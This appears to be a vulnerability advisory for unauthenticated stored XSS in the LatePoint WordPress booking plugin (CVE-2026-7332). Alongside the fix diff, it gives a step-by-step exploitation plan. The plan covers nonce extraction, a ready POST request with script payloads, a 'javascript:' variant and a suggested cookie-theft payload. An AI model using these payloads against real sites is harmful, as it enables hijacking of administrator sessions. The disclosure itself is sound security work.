LatePoint <= 5.5.0 - Unauthenticated Stored Cross-Site Scripting via 'booking_form_page_url' Parameter
Description
The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'booking_form_page_url' parameter in all versions up to, and including, 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious activity log entry is written to the database even when Stripe is not configured, because the latepoint_order_intent_created action hook fires before the Stripe Connect account ID is validated, meaning a fully functional Stripe integration is not required for exploitation.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.5.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7332 - LatePoint Stored XSS ## 1. Vulnerability Summary The **LatePoint** plugin (up to version 5.5.0) is vulnerable to **unauthenticated stored cross-site scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `booking_…
Show full research plan
Exploitation Research Plan: CVE-2026-7332 - LatePoint Stored XSS
1. Vulnerability Summary
The LatePoint plugin (up to version 5.5.0) is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the booking_form_page_url parameter before storing it in the database and subsequently rendering it in the administrative Activity Log.
When a user initiates a booking, an "Order Intent" is created or updated. This process records the URL from which the booking originated. This value is saved in the latepoint_order_intents and latepoint_activities tables. When an administrator views the Activity Log or a specific activity detail page, the malicious script is executed in the administrator's browser context, potentially leading to session hijacking or administrative account takeover.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
latepoint_route_call(WordPress AJAX action) - Route:
steps__get_steporsteps__start_order_intent - Vulnerable Parameter:
booking_form_page_url - Authentication Required: None (Unauthenticated)
- Preconditions: The LatePoint booking form must be accessible (even if Stripe is not configured).
3. Code Flow
- An unauthenticated request is sent to
admin-ajax.phpwithaction=latepoint_route_callandroute_name=steps__get_step. - The
OsRouterHelperdispatches the request toOsStepsController::get_step(). - Inside the booking flow,
OsOrderIntentHelper::create_or_update_order_intent()is called (found inlib/helpers/order_intent_helper.php). - Source: The function takes
$booking_form_page_urlas an argument.// lib/helpers/order_intent_helper.php public static function create_or_update_order_intent( ..., string $booking_form_page_url = '', ... ) { if ( empty( $booking_form_page_url ) ) { $booking_form_page_url = OsUtilHelper::get_referrer(); } ... if ( ! empty( $booking_form_page_url ) ) { // VULNERABLE: Input is decoded but NOT sanitized $order_intent->booking_form_page_url = urldecode( $booking_form_page_url ); } ... if ( $order_intent->save() ) { ... // Triggers hook that records activity do_action( 'latepoint_order_intent_created', $order_intent ); } - The
latepoint_order_intent_createdhook triggers an activity log creation. - Sink: The activity is viewed in the admin dashboard via
OsActivitiesController.// lib/controllers/activities_controller.php public function view() { $activity = new OsActivityModel( $this->params['id'] ); $data = json_decode( $activity->description, true ); ... // The description containing the URL is rendered without escaping // (Traces to view files rendering activity-preview-to sections)
4. Nonce Acquisition Strategy
The latepoint_route_call AJAX action typically requires a nonce for validation. LatePoint exposes this nonce on pages where the booking form is rendered.
- Identify Shortcode: The plugin uses
[latepoint_booking_form]to render the booking interface. - Setup Page: Create a public page containing this shortcode.
- Extraction: Navigate to the page and extract the nonce from the
latepoint_helperJavaScript object.- JavaScript Variable:
latepoint_helper - Nonce Key:
nonces.route_call - Extraction Command:
browser_eval("window.latepoint_helper?.nonces?.route_call")
- JavaScript Variable:
5. Exploitation Strategy
Step 1: Prepare the Environment
Create a public page with the booking form to retrieve the necessary nonce.
Step 2: Extract Nonce
Use the browser tool to navigate to the page and retrieve latepoint_helper.nonces.route_call.
Step 3: Inject Payload
Send a POST request to initiate an order intent with the XSS payload.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
action:latepoint_route_callroute_name:steps__get_step_wpnonce:[EXTRACTED_NONCE]step_name:contactbooking_form_page_url:https://example.com/"><script>alert(document.domain)</script>params[customer][first_name]:Attackerparams[customer][last_name]:XSSparams[customer][email]:test@example.com
Step 4: Trigger Execution
Log in as an administrator and navigate to the LatePoint Activity Log:/wp-admin/admin.php?page=latepoint&route_name=activities__index
6. Test Data Setup
- LatePoint Configuration: Ensure the plugin is active. No Stripe keys are required.
- Target Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[latepoint_booking_form]'
7. Expected Results
- The
latepoint_route_callrequest should return a200 OKwith a JSON success status. - A new entry should appear in the Activity Log in the WordPress admin.
- When the admin views the Activity Log (Index or View), a JavaScript alert box showing the document domain should appear.
8. Verification Steps
After sending the exploit request, verify the database state via WP-CLI:
# Check the latest activity for the payload
wp db query "SELECT description FROM $(wp db prefix)latepoint_activities ORDER BY id DESC LIMIT 1;"
Confirm the description JSON field contains the raw <script> tag.
9. Alternative Approaches
If steps__get_step is restricted, try the direct intent start route:
- Route:
steps__start_order_intent - Payload Modification: If the script is rendered inside an
hrefattribute, use ajavascript:protocol:booking_form_page_url=javascript:alert(1)// - Blind XSS: For a more impactful PoC, use a payload that exfiltrates
document.cookieto an external listener to demonstrate administrative session theft.
Summary
The LatePoint plugin for WordPress (<= 5.5.0) is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 'booking_form_page_url' parameter. This occurs because the plugin fails to sanitize this URL before storing it in the database and subsequently fails to escape the output when rendering activity logs in the administrative dashboard.
Vulnerable Code
// lib/helpers/order_intent_helper.php (~line 122) if ( ! empty( $booking_form_page_url ) ) { $order_intent->booking_form_page_url = urldecode( $booking_form_page_url ); } --- // lib/controllers/activities_controller.php (~line 209) case 'order_intent_updated': $link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : ''; $meta_html = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>'; $content_html = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>'; break;
Security Fix
@@ -206,28 +206,28 @@ case 'order_intent_updated': $link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : ''; $meta_html = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>'; - $content_html = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>'; + $content_html = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>'; break; case 'order_intent_created': $link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : ''; $meta_html = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>'; - $content_html = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>'; + $content_html = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>'; break; @@ -119,7 +119,7 @@ $order_intent->presets_data = wp_json_encode( $presets_data ); // override only if not empty if ( ! empty( $booking_form_page_url ) ) { - $order_intent->booking_form_page_url = urldecode( $booking_form_page_url ); + $order_intent->booking_form_page_url = esc_url_raw( urldecode( $booking_form_page_url ) ); }
Exploit Outline
The exploit is executed by an unauthenticated attacker using the following steps: 1. **Obtain Nonce**: Navigate to any public page containing the `[latepoint_booking_form]` shortcode and extract the `latepoint_helper.nonces.route_call` nonce from the page source. 2. **Craft Payload**: Construct an AJAX request targeting `admin-ajax.php` with the action `latepoint_route_call` and the route `steps__get_step`. 3. **Inject Script**: Set the `booking_form_page_url` parameter to a URL containing a malicious JavaScript payload (e.g., `https://example.com/"><script>alert(1)</script>`). 4. **Trigger Stored XSS**: The payload is saved in the `latepoint_order_intents` and `latepoint_activities` tables. When an administrator later views the Activity Log (`latepoint&route_name=activities__index`) or a specific activity detail, the unsanitized URL is rendered, executing the attacker's script in the administrator's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.